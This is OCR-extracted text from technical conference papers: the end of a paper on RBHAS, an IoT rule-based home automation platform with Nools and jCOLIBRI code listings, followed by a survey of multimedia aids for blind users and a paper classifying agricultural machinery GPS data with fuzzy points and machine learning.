Rule Module contains two Express routers, one enabling the Proxy Server to add facts, and another enabling the client application to add/delete/modify rules using an object supporting rules manipulation. Rules are manipulated/defined using Nools, and its DSL that is generated based on corresponding JSON object (Listing 4).

```
name: 'Air Conditioner',
   type: 'air_conditioner'
   events: [{
       name: 'Turned ON/OFF',
       parameters: [{
           name: 'State'
           operators: [{value: '='}],
            valueType: {name: 'enum', enums:
[{value: 'ON'}, {value: 'OFF'}]}
       }1
   }, {
       name: 'Temperature changed',
       parameters: [{
           name: 'Temperature',
           operators: [{value: '='}, {value:
'<'}, {value: '>'}],
           valueType: {name: 'float'}
       }]
   }1,
   actions: [{
       name: 'Turn ON/OFF',
       arguments: [{
           name: 'state',
           valueType: {name: 'enum', enums:
[{value: 'ON'}, {value: 'OFF'}]}
       }]
   }, {
       name: 'Change temperature',
       arguments: [{
           name: 'temperature'
            valueType: {name: 'float'}
       }]
   }1
```

Listing 4. JSON object describing the rule from Fig. 3

}

Listing 5 shows the DSL for the rule.

```
rule Rule4 {
    when {
        f1 : Event6;
        f2 : Event6;
        f3 : Event2 (f1.p9 > 10 || f2.p10 >
25) && (f3.p2 > 30);
    -}
    then {
        devices.execute([{
                 "deviceId": 1,
                 "actionId": 2,
                 "args": [{"argumentId": "2",
"value": "26"}]
            }
        )
    }
}
```

Listing 5. DSL for the rule from Fig. 3

In addition to rule DSL, Rule Module generates a fact DSL too. An example of event DSL is shown in Listing 6.

```
define Event2 {
    p2 : null,
        constructor : function(p2) {
        this.p2 = p2;
    }
}
```

Listing	6.	Event	DSL
Lioung	0.	Litent	

Recommendation Module

Recommendation Module has one router enabling a client application to request a recommendation from the Recommendation Server.

Client application is implemented using frameworks AngularJS and Bootstrap [20]. AngularUI Router is used for navigation and Angular Resource is used for interaction with REST API. Application consists of several views and modal dialogues each of them having corresponding AngularJS controller.

Recommendation Server

Recommendation Server, which implements CBR approach for recommendations, relies upon jCOLIBRI framework. Because jCOLIBRI supports relational databases through Hibernate ORM, jCOLIBRI was extended in order to support use of MongoDB that is a document-centric database. For that purpose the Java interface Connector is implemented using Hibernate OGM [27].

Interface Connector comprises methods required by jCOLIBRI framework to obtain access to the cases stored as database records, XML documents, or text files. Connector is initialized by means of an XML document that contains path to the Hibernate OGM configuration file, full name of the class containing the query, and full name of the class representing the query result.

The interface is shown on Listing 7.

```
public interface Connector {
    void initFromXMLfile(URL url) throws
InitializingException;
    void close();
    void storeCases(Collection<CBRCase>
cases);
    void deleteCases(Collection<CBRCase>
cases);
    Collection<CBRCase> retrieveAllCases();
    Collection<CBRCase>
retrieveSomeCases(CaseBaseFilter filter);
}
```

Listing 7. Interface Connector

Server application is implemented as a JavaEE application for the WildFly application server [23]. It consists of two modules, module for communication with Rule Engine Server, and module for recommending rules. The last one is implemented using jCOLIBRI framework.

Rules recommendation logic is implemented by the method cycle of the StandardCBRApplication interface. The first step of this method is creation of the configuration object followed by setting up global similarity function and local similarity functions. Local similarity functions measure similarities between events and actions appearing in a query with those appearing in rules from the rule base. Thereafter a method calculating similarity for all rules from database is called. Overall similarity between rules is calculated as a mean value of group similarity and action similarity.

5. CONCLUSIONS

This paper presents the software platform RBHAS aimed at automation of IoT devices management.

The platform RBHAS proposed in this paper has capacity to mitigate the problem of IoT devices protocols heterogeneity by offering development of proxy servers that could be programmed to serve communication between specific IoT devices and platform. Besides, the platform facilitates automation of IoT devices control by applying rules that can be set up by user. RBHAS does not require any local central unit, which can be considered both advantage (no need for additional hardware and/or its configuration) and disadvantage (IoT devices must be able to communicate over Internet).

Lack of authentication is the main drawback of the current version of RBHAS and one of the priorities for further development. In addition, RBHAS could be improved by implementing rules contradiction detection, active control of IoT devices (like temporary blocking, etc.), client applications for mobile platforms (Android and iOS), and rules sharing via social networks. Quality and performance of rules recommendation is also worth to be considered as a subject of further work. Better quality and performance could be achieved through defining an ontology for IoT devices, actions and events, introduction of metadata about controlled/controlling entities (homes, users), rules classification against various criteria (entity/object that rules apply to, the goal achieved by rule application like energy savings, etc.), and support for rules evaluation by users. Proxy Servers could publish their functionalities using RDF (Resource Description Framework) format thus enabling querying via SPARQL Protocol and RDF Query Language (SPARQL) that, in turn, could facilitate introduction of semantic technologies and automated reasoning.

Apart from the above mentioned, more substantial shift that could be consideration-worth is the situational calculus instead of rule-based approach, and classical recommender system with filtering instead of CBR.

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SOFTWARE AND INFORMATION ENGINEERING

MULTIMEDIA SYSTEMS FOR BLIND AND VISUALLY IMPAIRED PERSONS

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Abstract:

This paper presents the prospective use of multimedia applications for blind and visually impaired persons. Multimedia is gaining a considerable importance and is exploiting the available technologies to allow opportunities for blind people in improving their Quality of Life. Following the description of some multimedia solutions and applications, key elements of systems that help blind persons are described.

Keywords:

multimedia, applications, blind, text, speech, audio.

1. INTRODUCTION

Multimedia unstoppably conquers and changes irreversibly more and more spheres of everyday life. Although numerous multimedia applications only marginally affect the lives of the majority, the full potential of technology has not yet been realized, but has been manifested only by using specialized applications. The blind are certainly part of the population that will benefit with the development of multimedia. Multimedia enriches all areas of life of the blind. Significant improvements have been achieved in their education and employment, with a focus on using computers [1]. Shifts in the areas of mobility and integration into society have also been achieved. The blind have inexorably become more active and independent participants in society. Multimedia technology allows multimedia content to be connected, downloaded, shared and interpreted. The principle of creating content intended for all break down barriers between blind children and their peers, ensuring their integration. A significant share of problems relating to the education of the blind represents access to textbooks and literature, in general. Multimedia applications facilitate the use of literature in electronic form (e-books) in every aspect of the creation, production, distribution, search, usage and presentation [2]. In fact, methods of copyright management are particularly important because they facilitate contracting and access to new multimedia materials, which are often in the form of e-books.

Tiflo-technical multimedia aids increased independence of the blind [3, 4]. Traditional aids, unlike multimedia, are often cumbersome, tedious and poorly acceptable in a social environment. Although the new multimedia

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technology has advantages, users are still required to make adjustments. With an increasing number of devices, which value is undisputed, it is important to enable their use, comparison, evaluation of the usefulness, and adoption for the blind. Multimedia applications should become part of the everyday life of the blind. Their education, employment, access to information and integration into the information society, depend on the successful application of computers and multimedia technology. The quality of life enabled by the use of multimedia technology, justifies any effort in the popularization of multimedia [5]. Upgrading properties are also an important aspect of multimedia. Audio and visual facilities act synergistically for non-disabled, so it might seem that the blind are handicapped. The disadvantage can be removed by using the sound-descriptive content, wherein the description of the video content is compensated. A description may be auditory or tactile. Since it is difficult to acquire the compensation, especially in old age, it is necessary to enable the blind access to these technologies. Some technologies can be controversial in terms of their association with multimedia. However, their existence could be justified with the development within the complex multimedia solutions. The best example is the mp3 audio compression that was created as part of the MPEG (Moving Picture Experts Group) system. This technology now forms the basis for recording audio books, so-called DAISY (Digital Accessible Information System). Multimedia solutions for the blind rely on standards and recommendations of MPEG and ITU-T (International Telecommunication Union) organization. All developments within multimedia standards, at least, concern indirectly the blind.

There are also specialized hand-held mobile devices with sound recognition and gesture recognition with tactile screens as a viable option on the market of aid devices for the blind. Siqueira et al. explored out the possibility of use Braille text entry on smartphones, because they noticed that, due to the same reason, those devices are less accessible for blind people [6].

Moreover, in the past few years, touch-screen devices have become widely adapted to blind people thanks to screen readers. A blind user can explore a screen by touching it. To select an element, the user performs a second gesture such as a double tap. While this interaction makes an interface generally accessible, the disadvantage is that finding and selecting keys on an on-screen keyboard is slow and error-prone.

The article is organized as follows: some aspects of text-to-speech system are presented in the next section, followed by the section dedicated to multimedia applications designed for the blind. The description of a solution of mobile phone for the blind will be presented. Some advanced multimedia solutions regarding mobile assistive technologies are also described in the following section. Concluding remarks are discussed in the final part of the paper.

2. CONVERTING TEXT-TO-SPEECH APPLICATION

Converting text-to-speech (TTS) is a computer application designed to read any text, regardless of its origin. An important difference between devices that reproduce speech and TTS program is the ability to create new words and sentences. It can be said for TTS program that automatically translates graphemes to phonemes in order to pronounce the given sentence [7].

The earliest attempts at synthesizing human speech date back to more than two hundred years. Professor Christian Kratzenstein described the physiological differences between the five vowels (/ a /, / e /, / i /, / o /, / u /) in 1779 in St. Petersburg. He made the device with functionality similar to human speech apparatus. Resonators were activated by vibrating whistle, like that of a musical instrument. Phoneme / i / was obtained by blowing in the lower section without a mouthpiece, in order to obtain a sound of the flute.

Each TTS program is the result of efforts to achieve the appropriate level of speech fidelity within the technology available at the time of program formation. The concept of high-quality speech synthesis appeared in the eighties of the twentieth century as a result of significant progress in the development of speech synthesis techniques and natural language processing.

Potential applications of high-quality TTS programs are diverse:

Telecommunication services – text content can be accessed with ordinary phone by using TTS program. Taking into account that about 70% of all telephone services require a minimum of interactivity, this feature becomes extremely attractive. The message can be simple, such as, for example, cinema program delivery.

Help to handicapped - visual disability is caused by mental or motor/sensory impairments. If the latter is the case, the device is equipped with a custom keyboard and software for rapid synthesis of sentences. Telephone speech services are another example of the successful application. The blind use written contents by the TTS system associated with the system for text recognition (Optical Character Recognition, OCR). *Voice control* - the voice message is usually more impressive than the written. It is acceptable, while attention may be kept on other sources of visual information. Hence, we have the use of synthetic speech in measurement and control systems. The best examples of voice control are Global Positioning System (GPS) devices that help driver to navigate easier in traffic by giving verbal instructions.

Multimedia human-to-machine communications -TTS systems are a necessary step (along with systems for speech recognition) in the direction of complete communication of humans with computers. The use of multimedia is a significant starting point in this process.

Fundamental and applied research - TTS synthesizers can be completely controlled, making them as valuable laboratory tools in linguistic laboratories. Full repeatability of results enables intonational, rhythmic and other types of speech.

Although the text-to-speech conversion has become part of everyday life, it is necessary to describe the operation of these programs. Understanding the internal organization of converting gives an insight into real possibilities and limitations of this technology. Text-to-speech occurs successively so that as the output data stream gives PCM (*Pulse Code Modulation*) digital sound. Components of this system include:

- Text normalization;
- Homographic parsing;
- Pronunciation of words;
- Prosody;
- DSP (Digital Signal Processing) component.

Text normalization breaks up the text to a series of words. For example, the sentence: "Lazar drove home with speed of 55.3 km/h" after normalization becomes "Lazar", "drove", "home", "with", "speed", "of", "fifty", "five", "point", "three", "kilometers", "per", "hour", where the occurrence of each punctuation is also recorded. Normalization also works successively as follows:

-The words in the text are isolated firstly. This is mainly trivial, because sequences of letters are isolated with the occasional quote or line.

-Finding the numbers and symbols follows as a next step, for example: the date, time, money. Found instances are replaced by the words consistently to linguistic and contextual rules.

-Abbreviations are translated in the unabbreviated form. This is usually achieved by using a database of abbreviations.

-It is important whether the interpunctuation is pronounced or not. For example, full stop at the end of a sentence is not pronounced, but if it is located within an internet address it is pronounced.

-Normalizer complexity differs between programs. Once the text is normalized and reduced to a series of words, it is forwarded to the next module, homographic parsing.

While *homographic* parsing is usually not a standalone module, it logically forms a whole. Therefore, it is described separately. Typically, this module is combined with the text normalization or the pronunciation components. In most languages there are many words that are written alike, but are spelled differently and they are called homographs. The same goes for abbreviations, numbers and symbols. TTS programs use different approaches for solving the problem, but they usually assume the context for which the separate pronunciation is suitable. TTS programs assess the meaning of the text according to the word order in a sentence by parsing into the different types of words.

Pronunciation of words block receives text and sends a series of phonemes for further processing, like the spoken vocabulary. In order to obtain the correct word pronunciation, the word is firstly searched in an internal pronunciation lexicon. If it could not be found, the program determines a pronunciation according to the rules. The complexity of this module is also very different in various TTS programs.

Prosody refers to the pronunciation melody, speed and emphasis. The pronunciation is "mechanical" or "robotic" without the prosody. If the prosody is poor, pronunciation is weird. Although the TTS programs differ, there are some general rules that determine prosody. First, the start and the end of a sentence are determined, showing the tone pitch of the pronunciation, in accordance with the type of language. Breaks are inserted between sentences. Phrases are pointed out like the sentences, if successfully identified. Breaks are also inserted at the comas. Some programs seek to find the most important words in the sentence, and they emphasize them particularly. Such words are pronounced as louder, longer and with more melody variation. Words that are less important are pronounced unstressed. Output data of prosody are series of phonemes with tone pitch, duration and loudness.

DSP component for speech synthesis behaves in accordance with the properties of natural human speech. It was shown that transitional properties between phonemes were more important than stationary for better speech understanding.

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3. MULTIMEDIA APPLICATIONS IN TIFLO-TECHNIQUE

Tiflo-technique is an umbrella term for all the aids for the blind. Objects of prestige in tiflo-technique could be distinguished from the useful and necessary objects, as in all other spheres of life. Having in mind that objects of prestige enhance the Quality of Life (QoL), they should not be dismissed as unnecessary. Professional tiflo-experts or blind users should assess the importance of that objects.

Tiflo-technical multimedia aids can be considered as all devices that are compatible with appropriate interface in the multimedia field. These aids facilitate access and make available multimedia content such as internet content, texts, and moving pictures.

Braille display

Braille display is a specific peripheral device for the blind in which all the data can be seen on the monitor. This device is shown in Fig. 1. Data appear in character letters for the blind (Braille letters).



Fig. 1. Braille device and electronic notebook [8]

There are Braille displays with 20, 40, 65 and 80 characters horizontally and up to 13 characters vertically. The number of characters depends on the price of aids. These devices use programs WinDots, Hal/Supernova and Jaws under Windows operating systems.

Plextalk PTP1

Plextalk PTP1 can be used as a pocket recorder and player. This small and powerful device is ideal at work, home and school. The player is designed for blind people and is suitable for all ages and needs, due to large and easily recognizable buttons. All keys are wired as all other commands. The device supports all known audio formats such as *mp3*, *wav*, *wma*, *audio cd* and many others. It has a rechargeable battery, built-in speaker and microphone, as well as input jack for an external microphone. *Plextalk* PTP1 is supplied with its own memory card and supports charger, USB cable, carrying case and headphones. *Plextalk* PTP1 is illustrated in Fig. 2.



Fig. 2. Plextalk PTP 1 device [9]

Braille+ device

Braille+ is one of the most flexible, affordable and user-friendly mobile devices available today. This device coordinates the multimedia collections, can read and correct e-mail and documents, plays and records voice and music, can browse the web, read digital audio books. Also, Braille+ follows the headings and subheadings, manages contacts and calendar, makes notes, blogs, plays music from the internet radio stations, and many more. This device is small enough to fit in a purse or a pocket. It offers non-visual means of communication, learning, information, entertainment and managing lifestyle through the built-in speech output.

Ergonomic tasters help to identify control keys, stereo speakers enhance audio quality, and multiple ways of typing mean that *Braille*+ is ready for just about every job, on a desk or on the move. *Braille*+ device is represented in Fig. 3.

Book port plus

Book port plus (Fig. 4) is also, as well as Braille+, a relatively new instrument designed for listening to digital audio sound, internet radio, reading computer folders

and excellent sound recording. Hardware and software make this device much easier, more reliable and more flexible than mobile phones, which support some of the functions listed above.



Fig. 3. Braille+ device [10]



Fig. 4. Book port plus device [10]

DAISY audio books format

DAISY (*Digital Accessible Information System*) consortium is founded by a group of audio book libraries in 1996 with the aim of transition from analogue to digital sound books. Vision of DAISY consortium was the availability of information to people with reading difficulties, in a format that is accessible, well equipped, enables navigation, with a price equivalent to an adjusted book [11].

DAISY format is an international standard for production, exchange and use of digital audio books. The format is designed to be integrated into existing technological developments, to ensure the availability of information for people with reading disabilities.

Objectives of DAISY consortium are the following:

- Create and promote a global standard for navigation and structuring of digital audio books;
- Encourage the opening and development of the digital library of audio books both in developed and developing countries;

- Increase the accessibility and use of electronic books and multimedia documents for people with reading disabilities;
- Provide recognition and acceptance of the DAISY standard for multimedia documents with the possibility of navigating among the leading publishers;
- Encourage the creation and development of a global digital library of audio books that exceed the political limits and linguistic differences, but at the same time accept cultural diversity.

DAISY format is based on HTML/XML and SMIL (*Synchronized Multimedia Integration Language*) program language. Although the format of the media content is not obligatory, audio contents are typically encoded in mp3 format. SMIL allows easy creation of interactive audio-visual presentations and is typically used for "rich media"/multimedia presentations that include audio and video streaming, text or any other form of content.

Using a SMIL can specify sequence of media at a time, synchronized with each other and designed according to user demands. Multimedia presentation is easily created and corrected, as the text makes SMIL format. SMIL is developed by a group under the coordination of the *World Wide Web Consortium* (W3C) with the cooperation of representatives from various multimedia products (interactive TV, Web and audio/video streaming).

4. MOBILE TELEPHONE FOR THE BLIND

There are possible solutions on the market for a mobile phone designed for blind and visually impaired persons. One available solution is shown in Fig. 5. The phone has a speech device which transmits information to a user by sound, instead of a screen. Each key on the keypad on the phone is associated with the different sounds, for easier handling. The text message or name and number of a caller are transmitted via the sound to the phone.



Fig. 5. Mobile telephone for the blind [12]

This mobile phone has other features:

- dual band mobile phone adapted for the blind;
- serial port and headphone jack;
- synthetic speech and a clock;
- loudspeaker for "hands-free" use;
- address book;
- advanced calling features;
- SMS messages.

There are some other phones specially developed for the blind with some additions, such as reading an email, listening to internet radio and other contents over the internet network. However, the blind mostly rely on speech synthesizers for mobile phones and wireless applications, especially in our country. Mobile phones are no longer used just for talking and text messaging, with the development of Android operating system. Smart phones have already begun to install the applications with various features and options.

5.MULTIMEDIA ASSISTIVE TECHNOLOGIES

Nowadays smartphones are everywhere in our society. Smartphones are used not only for communication, but also for entertainment and organization of our daily lives. However, the transition from hardware keys to virtual keys on touch-screen made their use more difficult for blind people. Price of smartphones is another discouraging factor for blind users, both smartphone itself and expensive accessories. For example, an external Braille keyboard for a smartphone is expensive and cumbersome to handle. Moreover, despite awareness of more accessible devices, some blind users prefer to buy cheaper options. Some of the advanced mobile devices and applications for assistance will be described in the following [13].

AudioBrowser is one modern assistive multimedia technology for the blind. It is similar to the information access tool for touch-sensitive screens. AudioBrowser allows users to browse stored information and commands by a combination of both speech- and non-speech audio feedback. Users are guided by speech and non-speech audio while the screen of smartphone is split in two to allow users to view different information from the display panel. As users' fingers move across the screen, nonspeech audio is used to inform them when crossing a boundary. In a given segment of the screen, speech audio informs the user what is contained. A key advantage of *AudioBrowser* is support a structure which allows users to access information while in motion. *V-Braille* is an assistive Braille aid that transfers information through vibration on touch screen [14]. It enables users who are familiar with Braille to interact with interfaces for mobile smartphones. The traditional structure of Braille approximately shares a mobile screen into six parts, which is shown in Fig. 6. When the screen is touched within a dedicated part, vibration of different strengths forces a character that enables users to make difference among characters.



Fig. 6. V-Braille device [14]

MobileEye aims to help the visually impaired to see and understand their environment during travel and other activities by using a mobile smartphone's camera and TTS technology. The system consists of four subsystems adapted for different types of visual disabilities: (a) a color channel to help the user distinguish colors; (b) software to provide image magnification, reading and understanding of objects; (c) pattern recognizer for objects recognition; and (d) document retriever to allow access to printed materials by using only a snapshot of a page and download the document from a large database. Each operation of the software is driven by a voice message.

PictureSensation is another mobile application for hapto-acoustic exploration of images [15]. It is designed to enable the visually impaired to obtain direct perceptual access to images via an acoustic signal. PictureSensation introduces a gesture-based and speech-guided user interface that guarantees the autonomous use by the blind. It implements recently proposed exploration and audification principle, which helps visually impaired in orientation in everyday situations. A user actively explores on a touch screen and receives auditory feedback on the content at current position of their finger. PictureSensation provides an extensive tutorial to allow the blind to become familiar with the use of the application, as well as the principles of image content to sound transformation, without any assistance. This application has potential to help visually impaired to explore and understand the whole scenes, even on screens of smartphones.

PictureSensation presents a valuable mobile application to grant the blind access to the visual world through exploration.



Fig. 7. PictureSensation mobile application [15]

6. CONCLUSION

Multimedia irreversibly changes the lives of the blind for the better. Measure of changes can be described in terms of improving their Quality of Life (QoL). The prestige that is associated with the use of various devices in daily life is fully justified in terms of improving QoL.

However, multimedia develops independently of the needs of the blind. Suitable solutions for blind people are not necessarily in the mainstream of development, but they are never contradictory. Most aids for the blind use speech which can be synthetic, or recorded. Fewer aids use sound, whether in primitive or in an abstract form. The development of screen reader started in economically and technologically more developed part of the world.

Blind people have started to use computers, which help them be involved in all contemporary streams of life. Screen readers are becoming better and more efficient with constant improvements. On the other hand, their price decreases rapidly, so that they are becoming available and widely used among people they were primarily intended for. However, the need for such a new technology progress occurred also in less developed communities, which imposed the problem of linguistic diversity.

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SPATIO-TEMPORAL LOCALIZATION OF AGRICULTURAL MACHINERY OPERATIONS

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Abstract:

The utilization of agricultural mechanization is crucial to its efficient exploitation that, in turn, significantly influences the entire agricultural economy as well as soil quality. Contemporary agricultural machines are GPS enabled, allowing localization and recording of their motion. In this paper we present an approach to spatio-temporal localization of agricultural mechanization operations based on a linear classifier in fuzzy linear space. We trained a classifier on data labeled using a fuzzy linear classifier in order to create a training set for a data mining predictor that may be helpful in automated management of records describing agricultural machinery's dynamics. The training set was comprised of spatial coordinates of the machine recorded from a GPS device and then manually classified into two classes, denoting whether the machine is utilized for its primary purpose (productive operations like sowing, cultivating, spraying, etc.) or for non-productive operations such as moving the machine in transport from/to fields.

Keywords:

Precise farming, GPS, Linear fuzzy space, Classification.

1. INTRODUCTION

Operations of tracking and recording motion of agricultural machinery in precision farming have become a very important part of farm management information systems.

Improvements in the accuracy and affordability of the GPS sensors have led to a wide adoption of this technology. The amount of spatio-temporal data automatically collected from these sources increases exponentially. Those data, in the form of time series, need to be transformed into a more useful form (at the operation level) and thereafter may be easy aggregated into a more complex form (at the task level). Agricultural vehicles are not used only for productive operations such as sowing, cultivating, spraying but also for transporting and position changing between two main operations. The main operations are mostly linear, while transporting and position changing are not.

Research in vehicle tracking, agriculture operations recording and precision farming has gained attention of both commercial and scientific communities. For example, companies like Trimble and TopCon, which are known for developing positioning devices, also develop farm monitoring solutions. These positioning tools are designed to help farmers in everyday tasks. Services have also been developed to collect data from mechanization, process it into suitable form and present it to the end users (farmers). However, existing tools are expensive and not available to most farmers. On the other hand, a significant amount of research was done on path tracing from GPS data, forming a solid base for the development of sophisticate yet inexpensive devices.

This paper presents an approach to spatio-temporal localization of agricultural mechanization operations based on a linear classifier in fuzzy linear space. The rest of this paper consists of four sections. The first section brings an overview of current solutions and approaches applied in developing such solutions. The second section presents methodology and data used in our research. Third section presents experimental results, while fourth section brings concluding remarks and directions for future work.

2. RELATED WORK

Research in vehicle tracking, agriculture operations recording and precision farming has gained attention in both the commercial and scientific communities.

Companies like Trimble and TopCon, which are known for developing positioning products. These positioning tools are designed to help farmers in everyday tasks. Services have also been developed to collect row data from mechanization, process them into suitable form and present it to the end users (farmers). However, those tools are expensive and not available to most farmers.

On the other hand, a significant amount of work was done on path tracing from GPS data. The key technique for identifying paths from GPS data is called Principal Curve Analysis [1]. The basic principal curve algorithm has been improved upon in order to capture the temporal aspect. The basic idea is to find a curve running through the middle of the cloud of points.

Cao and Krumm [2] proposed a method for automatically converting raw GPS traces from everyday vehicles into a routable road network. Their method begins by smoothing the raw traces into a coherent set of paths using a novel aggregation technique that pulls together traces that belong to the same road in response to simulated potential energy wells created around each trace. From those paths, they derived a graph of nodes and edges representing the road network. Compared to the raw GPS traces, their algorithm suppresses the noise present in the raw traces, but that noise is not completely eliminated in all areas.

Corbellini, Ferraris and Parvis [3] designed and tested a low-cost localization system for agricultural applica-

tions, which determines a tractor position in fields up to 0.5 km with an uncertainty of about 1 m. They employed several approaches to obtain the tractor position. Their research shows that GPS systems can have accuracy of 2 m maximum, but the models become much more expensive. For those reasons, their final solution avoids using the GPS and uses laser beams since they have several advantages like substantial immunity with respect to electromagnetic interferences and potentially reduced cost.

Bierlaire, Chen and Newman [4] proposed a probabilistic map matching approach that generates a set of potentially true paths, and associates a likelihood score to each of them. Their model calculates the probability that a GPS recording device would have generated a specific sequence of measurements while following the given path. Their results show that the uncertainty in the path increases with the sparsity of the GPS data. That is consistent with intuition that more GPS data brings more information, reducing uncertainty.

Schuessler and Axhausen [5] described a post-processing procedure applied to the most basic GPS raw data: three-dimensional positions and the corresponding timestamps. They cleaned and smoothed data using a Gaussian kernel, determined trips and activities, and segmented those trips into single-mode stages; the transport mode for each of the stages was also identified. Results show that data obtained from that procedure may be used to develop route and destination choice models.

3. METHODOLOGY AND DATA

This section presents methodological approach and data utilized in this paper for spatio-temporal localization of agricultural machinery.

Methodology

The aim of the proposed algorithm is to classify time series of spatial data into productive operations and transport operations. Main operation lines are described by starting and ending points, average speed, maximal speed and total operating time.

In this research we use fuzzy linear space [6, 7] for imprecise data modeling relying upon the basic notion of a *fuzzy* point.

Definition 1. A *fuzzy point* $P \in \mathbb{R}^2$, denoted by \tilde{P} is defined by its membership function $\mu_{\tilde{p}} \in \mathcal{F}^2$, where the set \mathcal{F}^2 contains all membership functions $u:\mathbb{R}^2 \rightarrow [0,1]$ satisfying the following conditions:

i) $(\forall u \in \mathcal{F}^2)(\exists_1 P \in \mathbb{R}^2) u(P) = 1$,

ii) $(\forall X_1, X_2 \in \mathbb{R}^2) (\lambda \in [0,1]) u(\lambda X_1 + (1-\lambda)X_2) \ge \min(u(X_1), u(X_2)),$

iii) function u is upper semi continuous,

 $[u]^{\alpha} = \{X | X \in \mathbb{R}^2, u(X) \ge \alpha\}$ α -cut of the function u is convex.

The point from \mathbb{R}^2 , with membership function $\mu_p^{\sim}(P)=1$, is denoted by P(P) is the core of the fuzzy point \tilde{P}), and the membership function of the point \tilde{P} is denoted by μ_p^{\sim} . By $[P]^{\alpha}$ we denote the α -cut of the fuzzy point (this is a set from \mathbb{R}^2).

Definition 2. \mathbb{R}^2 Linear fuzzy space is the set $\mathcal{H}^2 \subset \mathcal{F}^2$ of all functions which, in addition to the properties given in Definition 1, are:

Symmetric against the core $S \in \mathbb{R}^2$:

 $(\mu(S)=1), \mu(V)=\mu(M) \land \mu(M) \neq 0 \Rightarrow d(S,V)=d(S,M),$

where d(S, M) is the distance in \mathbb{R}^2 .

Inverse-linear decreasing w.r.t. points' distance from the core according to:

If
$$r \neq 0$$
, $\mu_{\tilde{S}}(V) = \max\left(0, 1 - \frac{d(S,V)}{|r_S|}\right)$
If $r = 0$, $\mu_{\tilde{S}}(V) = \begin{cases} 1 & if \quad S = V\\ 0 & if \quad S \neq V \end{cases}$

where d(S, V) is the distance between the point V and the core $S(V, S \in \mathbb{R}^n)$ and $\mathbf{r} \in \mathbb{R}$ is constant.

Elements of that space are represented as ordered pairs $\tilde{S}=(S,r_s)$ where $S \in \mathbb{R}^2$ is the core of \tilde{S} , and $r_s \in \mathbb{R}$ is the distance from the core for which the function value becomes 0.

For the classification task we use two well-known classifiers: logistic regression [8] and artificial neural network [9]. First one is simpler and faster, but less accurate than second one.

Logistic regression is based around the linear modeling of logarithm of the odds ratio of the probability of the positive class and negative class for an example in the training set. It is useful in classification because it explicitly models the class probabilities in the following way:

$$p(y_i | \mathbf{x}_i, \mathbf{r}) = \sigma(\mathbf{r}^T \mathbf{x}_i) = \frac{1}{1 + \exp(-\mathbf{r}^T \mathbf{x}_i)}$$

where x_i represents the attributes of an example, y_i is the label and r represents the weights of the logistic regression.

The posterior probability may then be expressed as

$$\mathbf{r}_{\text{MAP}} = \arg \max_{\mathbf{r}} P(\mathbf{r}|D)P(\mathbf{r})$$
$$= \arg \max_{\mathbf{r}} l_D(\mathbf{r}) + l_P(\mathbf{r})$$

Here, in order to compute the optimal weights, we don't take into consideration only l_D , the loss caused by data, but also l_p the loss caused by regularization, for a maximum a posteriori estimate. The weights $r_{(MAP)}$ may be found using an iterative Newton-Raphson solver:

$$\mathbf{r}^{new} = \mathbf{r}^{old} - \eta \, \mathbf{H}^{-1} \mathbf{g}$$

Here, the Hessian may be expressed as $\mathbf{H}=\mathbf{X}^{T}\mathbf{R}\mathbf{X} \cdot \mathbf{A}$ where R is a diagonal matrix with the following elements $Rii = \hat{y}_i (1 \cdot \hat{y}_i)$ and A is the precision matrix used for regularization, in this case also diagonal.

The gradient may be computed as

 $g=X^T(\hat{y}-y)-Ar$

Artificial neural networks (ANN) are a biologically inspired models characterized by learning ability. The goal of training in our case is to adjust the weights in a way that the output predicts the correct label for that data point. The network architecture used in this paper is a simple 10x10 feed-forward neural network (Figure 1). The training was performed using backpropagation algorithm.



Fig. 1. The ANN architecture

Data

The system for collecting data consists of one GPS sensor equipped with a TCP data communication module. It sends the current position every 2s to the cloud service. The accuracy of the used GPS sensor is about 1.5m. The machine was guided by autopilot (second GPS sensor with 1-10cm accuracy) along a linear path (during the main operations). The distance between two consecutive main operations should be a multiple of machinery width. Annotation of the collected points was done by labeling line segments and curve segments. In this paper we have annotated 401 segments with totally 18280 points. All points that belong to the same segment are then annotated into two classes: line and curve.

Next step in data preprocessing is calculation of the distances between 5 consecutive points A, B, C, D, E (Figure 2.).

Distance AbC is sum of distances AB and AC. If distance between AC is equal to distance AbC then points ABC are on straight line. However, collected points are imprecise, it means that if distance AC is smaller than distance AbC we can't be sure that ABC is not on line.

As described in section Methodology, in this paper we use fuzzy points in fuzzy linear space to model imprecise data. Also we use triangle inequality to detect fuzzy lines in 5 fuzzy points segment so we calculate distances: AbC, AC, CdE, CE, AbcdE, AE (Figure 2).



Fig. 2. Distances between 5 consecutive points ABCDE

Finally, after data preprocessing is done, we produce comma separated value file with following columns: AbC, AC, CdE, CE, AbcdE, AE, speed, cog, lon, lat, segment and class. Columns 0-9 are floats, column 10 is integer (number between 0 and 401) and column 11 is enumeration: 'line', 'curve'. Speed, cog (Course Over Ground), longitude, latitude and segment is related to corresponding attributes of the point C.

4. EXPERIMENTAL RESULTS

The data obtained was obtained from sensors mounted on mechanization. It was then pre-processed and labeled according to the described filters. We then trained two machine learning algorithms to predict the label, logistic regression and artificial neural networks. 90% of the examples in the data belong to the positive class as the mechanization is mostly in use while it is moving, the rest are negative examples.

We considered the 10x10 hidden layer architecture of the ANN, with 10 inputs to the network and 1 output (Figure 1.).

The inputs for both the logistic regression and neural networks were AbC, AbcdE, AC, AE, CdE, CE, orientation, speed and position data. The data was randomly split into two equally sized categories, training and testing. We trained the logistic regression and neural network models using the training set and tested its performance on the test set. The resulting error was considered a good approximation of generalization error. We measure error as the ratio of correctly labeled examples to total examples. The experiment was replicated 100 times and the results are reported.

In Figure 3 we report the resulting accuracy of 100 logistic regression and 100 neural network models on an ROC curve. The y-axis corresponds to accuracy while the x-axis represents the threshold used. As we can see from Figure 3 the neural network outperforms the logistic regression model.

We used the Levenberg-Marquardt training method for the neural network, which significantly reduced the variance of the resulting model.

Part of the raw data is shown on Figure 4a, where dots represent GPS positions, while lines represent paths between two neighbor points.

Figure 4b visualizes a geo-spatial distribution of the classified points. On this figure, circles represent points that constitute non-productive motion, while triangles represent points that constitute productive motion.

The obtained results (points on the very top classified as "non-productive" motion, and those that are not on the top classified as "productive" ones) are common sense, because agricultural machinery usually performs maneuvering in this border area of the field.



Fig. 3. Linear (logistic) and Neural Network (net) predictor accuracy, using location information A and not B



Fig. 4a. Raw GPS data



Fig. 4b. An example of classification results

5. CONCLUSION

We propose several methods of using machine learning to predict the utilization of mechanization based on measurements which can be gathered directly from mechanization. This is preferable in rural conditions where such mechanization operates.

